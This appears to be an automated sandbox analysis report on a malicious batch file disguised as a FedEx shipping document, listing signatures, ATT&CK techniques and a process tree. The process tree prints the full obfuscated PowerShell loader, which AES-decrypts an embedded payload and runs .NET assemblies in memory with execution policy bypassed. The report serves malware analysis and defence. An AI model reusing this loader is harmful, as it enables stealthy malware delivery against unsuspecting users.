Analysis
- max time kernel
149s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 14:03
General
- Target Fedex Shipping Document.bat
- Size 691KB
- Sample260423-rc27hset9n
- SHA256 ae4506ade7e693e10580570cd6a6835138ebc99a9a1aaad36c19aad2a18d5dc0
Malware Config
Signatures
- Drops startup file 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fedex Shipping Document.bat"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function MXXXK($DjliF){ $oGuBQ=New-Object System.IO.MemoryStream(,$DjliF); $rstGy=New-Object System.IO.MemoryStream; $xsRNK=New-Object System.IO.Compression.GZipStream($oGuBQ, [IO.Compression.CompressionMode]::Decompress); $xsRNK.CopyTo($rstGy); $xsRNK.Dispose(); $oGuBQ.Dispose(); $rstGy.Dispose(); $rstGy.ToArray();}function QGRJl($DjliF){ $OoyVM=[System.Security.Cryptography.Aes]::Create(); $OoyVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OoyVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OoyVM.Key=[System.Convert]::FromBase64String('6LW6Av1bkX5Sdemxdz0A7ysusJV0L4le22ZDNqUroC4='); $OoyVM.IV=[System.Convert]::FromBase64String('B/P3gBrU7zPzcqXuslyaZw=='); $WeMee=$OoyVM.CreateDecryptor(); $QRWOs=$WeMee.TransformFinalBlock($DjliF, 0, $DjliF.Length); $WeMee.Dispose(); $OoyVM.Dispose(); $QRWOs;}function Zwlya($DjliF,$zaJLX){ $JJkOl=[System.Reflection.Assembly]::Load([byte[]]$DjliF); $Riocm=$JJkOl.EntryPoint; $Riocm.Invoke($null, $zaJLX);}$Byncu = 'C:\Users\Admin\AppData\Local\Temp\Fedex Shipping Document.bat';$host.UI.RawUI.WindowTitle = $Byncu;$uqbkA=[System.IO.File]::ReadAllText($Byncu).Split([Environment]::NewLine);foreach ($ZKQoB in $uqbkA) { if ($ZKQoB.StartsWith('mPiPdJYjroqCtzilYPrf')) { $pdsDJ=$ZKQoB.Substring(20); break; }}$WMjlM=[string[]]$pdsDJ.Split('\');$CTKUZ=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[0].Replace('#', '/').Replace('@', 'A'))));$NMmgT=MXXXK (QGRJl ([Convert]::FromBase64String($WMjlM[1].Replace('#', '/').Replace('@', 'A'))));Zwlya $CTKUZ $null;Zwlya $NMmgT (,[string[]] (''));"2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 21043⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 22363⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2288 -ip 22881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2288 -ip 22881⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_1mci5eb5.byt.ps1
memory/2288-13-0x0000000006100000-0x0000000006457000-memory.dmp
memory/2288-16-0x0000000007E90000-0x000000000850A000-memory.dmp
memory/2288-3-0x0000000005850000-0x0000000005E7A000-memory.dmp
memory/2288-4-0x0000000005730000-0x0000000005752000-memory.dmp
memory/2288-5-0x00000000057D0000-0x0000000005836000-memory.dmp
memory/2288-6-0x0000000005FB0000-0x0000000006016000-memory.dmp
memory/2288-1-0x0000000005120000-0x0000000005156000-memory.dmp
memory/2288-0-0x0000000005210000-0x0000000005220000-memory.dmp
memory/2288-2-0x0000000005210000-0x0000000005220000-memory.dmp
memory/2288-14-0x00000000064D0000-0x00000000064EE000-memory.dmp
memory/2288-15-0x0000000006510000-0x000000000655C000-memory.dmp
memory/2288-17-0x0000000006AA0000-0x0000000006ABA000-memory.dmp
memory/2288-18-0x0000000002FF0000-0x0000000002FF8000-memory.dmp
memory/2288-19-0x0000000007810000-0x0000000007894000-memory.dmp
memory/2288-23-0x0000000008510000-0x0000000009510000-memory.dmp
memory/2288-24-0x0000000000400000-0x0000000000479000-memory.dmp
memory/2288-27-0x00000000051F0000-0x00000000051F6000-memory.dmp
memory/2288-28-0x000000000A510000-0x000000000A5EA000-memory.dmp